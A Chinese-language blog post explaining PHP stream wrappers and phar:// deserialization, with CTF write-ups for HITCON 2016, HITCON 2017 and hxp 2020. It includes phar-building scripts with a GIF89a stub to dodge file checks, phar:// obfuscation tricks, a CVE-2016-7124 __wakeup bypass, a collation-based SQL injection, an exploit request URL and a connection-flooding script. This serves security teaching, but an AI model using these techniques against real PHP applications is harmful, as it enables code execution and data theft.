抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

PHP stream wrapper机制相关题目的分析整理

一、流和包装器简介

**流(stream)**是在PHP 4.3.0中引入的,作为一种通用文件、网络、数据压缩和其他操作的方式,这些操作共享一组共同的函数和用途。在其最简单的定义中,流是一种表现出流行为的资源对象。

每一种流都实现了一个**包装器(wrapper)**,包装器包含一些额外的代码用来处理特殊的协议和编码。PHP提供了一些内置的包装器。

引用流的格式如下:

1
<scheme>://<target>
  • 其中,<schema>为包装器的名称,如file,http,https,ftp,compress.zlib,php等。可以用stream_get_wrappers()函数查看内置的所有包装器。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
array(10) {
[0]=>
string(5) "https"
[1]=>
string(4) "ftps"
[2]=>
string(13) "compress.zlib"
[3]=>
string(3) "php"
[4]=>
string(4) "file"
[5]=>
string(4) "glob"
[6]=>
string(4) "data"
[7]=>
string(4) "http"
[8]=>
string(3) "ftp"
[9]=>
string(4) "phar"
}
  • <target>取决于所使用的包装器。如对于文件系统相关的流<target>通常是所需文件的文件路径和文件名;对于网络相关的流,<target>通常是目标的主机名和路径。

例如,可以使用file_get_contents()打开多种数据流。

1
2
3
4
5
6
7
8
9
<?php
var_dump(file_get_contents('/etc/passwd'));
//打开本地文件

var_dump(file_get_contents('http://www.baidu.com'));
//访问网络页面

var_dump(file_get_contents('data:test/plain,coooool!'));
//打开data url

二、Phar反序列化

在2018年的Black Hat大会上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,指出通过phar://协议对一个phar文件进行操作,可能导致触发反序列化漏洞。

PHAR(PHp ARchive)是php中的打包文件,类似于java语言的jar打包文件。

可以看到倒数第二行,Meta-data以序列化格式存储。因此php的文件系统函数在通过phar://协议解析phar时,也需要对meta-data进行反序列化。因此可能触发反序列化漏洞。

受影响函数列表:

一些绕过方法

  • 绕过文件格式的匹配:在文件头加上GIF89a
1
2
3
4
5
6
7
8
9
10
11
12
<?
class test{
public $name = 'xxx';
}
$o = new test();

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub开头为GIF89a
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
  • 编码绕过、大小写绕过等

    1
    2
    3
    $file = "PhAr://" . __DIR__ . '/phar.phar';
    $file = "\x70har\x3a//" . __DIR__ . '/phar.phar';
    $file = 'php://filter/read=convert.base64-encode/resource=phar://' . __DIR__ . '/phar.phar';

三、题目

(1)HITCON 2016 babytrick

这个似乎与stream或wrapper无关,只是顺带

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php

include "config.php";

class HITCON{
private $method;
private $args;
private $conn;

public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;

$this->__conn();
}

function show() {
list($username) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);

$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("Nobody Nobody But You!");
}

}

function login() {
global $FLAG;

list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));

$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}

$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}

function source() {
highlight_file(__FILE__);
}

function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);

if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);

$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}

mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}

function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}

function __die($msg) {
$this->__close();

header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}

function __close() {
mysql_close($this->conn);
}

function __destruct() {
$this->__conn();

if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}

$this->__close();
}

function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}

if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new HITCON("source", array());
}

一道正常的反序列化题目,只有一个HITCON。观察代码可以发现,析构函数会将类的属性args作为参数,执行以属性method为名的方法。而在login()中可以找到输出flag。所以关键在于,登陆时需要以orange账号登录

然而orange账号的密码是未知的。这里会注意到show()方法。可以利用show()方法在SQL查询时进行SQL注入,查询到账户orange的密码。仅需绕过__wakeup()魔术方法。利用CVE-2016-7124,序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup()的执行,从而使传入的args参数无需经过mysql_escape_string()函数,直接地在login()方法中实现SQL注入。爆出密码。

获得密码后即可用于login(),但是这里仍有限制:

1
2
3
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}

用户名不能为’orange’,sql语句中不能包含’orange’。

以下内容来自MySql手册:

1
2
3
4
5
6
7
8
9
10
使用utf8_general_ci和utf8_unicode_ci两种 校对规则下面的比较相等:
Ä = A
Ö = O
Ü = U

两种校对规则之间的区别是,对于utf8_general_ci下面的等式成立:
ß = s

但是,对于utf8_unicode_ci下面等式成立:
ß = ss

因此,username=ORÄNGE时,可以绕过上面的php检测,而sql语句却依然能正常执行。orange账号成功登录,即可得到flag。

(2)HITCON 2017

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class Admin extends User {
function __destruct(){
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
." global \$FLAG; \$FLAG();"
."}");
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
die("Bye");
if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
die("Bye Bye");
$data = unserialize($data);
if ( !isset($data->avatar) )
die("Bye Bye Bye");
return $data->avatar;
}
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a")
die("Fuck off");
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
function show($path) {
if ( !file_exists($path . "/avatar.gif") )
$path = "/var/www/html";
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload")
upload(check_session());
else if ($mode == "show")
show(check_session());
else
highlight_file(__FILE__);

可以看到源码中利用create_function()构造了一个匿名函数,直接输出flag。那么重点就在于执行这个匿名函数。类Admin的析构函数中可以执行任意函数,包括在该析构函数中使用eval定义的一个函数。然而该匿名函数的函数名中含有随机字符串,爆破是不可能爆破的,这辈子都不可能。

匿名函数并非没有名字,而是以%00lambda_%d命名,其中%d为数字,表示进程的第%d个匿名函数。可以通过发送大量请求迫使apache服务器开启一个新的进程,这样%d将重置为1。

因此,现在最重要的问题就是如果反序列化调用Admin类的析构函数。很容易找到checksession()中调用了unserialize()函数,但可惜的是这个反序列化函数无法利用,因为伪造cookie,直接修改session-data,会导致hash_equal()验证失败。

但是可以利用phar反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
class Admin {
public $avatar = 'xxx';
}

@unlink("avatar.phar");
$phar = new Phar("avatar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.jpg');
?>

把生成的avatar.jpg放到vps上传。随后只需要通过file_get_contents(),file_put_contents(),或file_exists()之类的文件相关函数,使用phar://这个stream wrapper打开文件。在题目中需要再次利用upload()函数。

1
?m=upload&url=phar:///var/www/data/xxx&lucky=%00lambda_1

官方wp有一个fork脚本,用于迫使apache开启新的进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# coding: UTF-8
# Author: orange@chroot.org
#

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass

def run(i):
while 1:
HOST = 'xxxxx'
PORT = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.1\nHost: xxxxx\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

(3)HITCON 2018

(4)hxp ctf 2020 resonator

题目源码:

1
2
3
4
5
<?php
$file = $_GET['file'] ?? '/tmp/file';
$data = $_GET['data'] ?? ':)';
file_put_contents($file, $data);
echo file_get_contents($file);

参考链接

1、Phar File Format

2、Phar与Stream Wrapper造成PHP RCE的深入挖掘

3、利用 phar 拓展 php 反序列化漏洞攻击面

4、My-CTF-Web-Challenges

5、Mysql中的排序规则utf8_unicode_ci、utf8_general_ci的区别总结

评论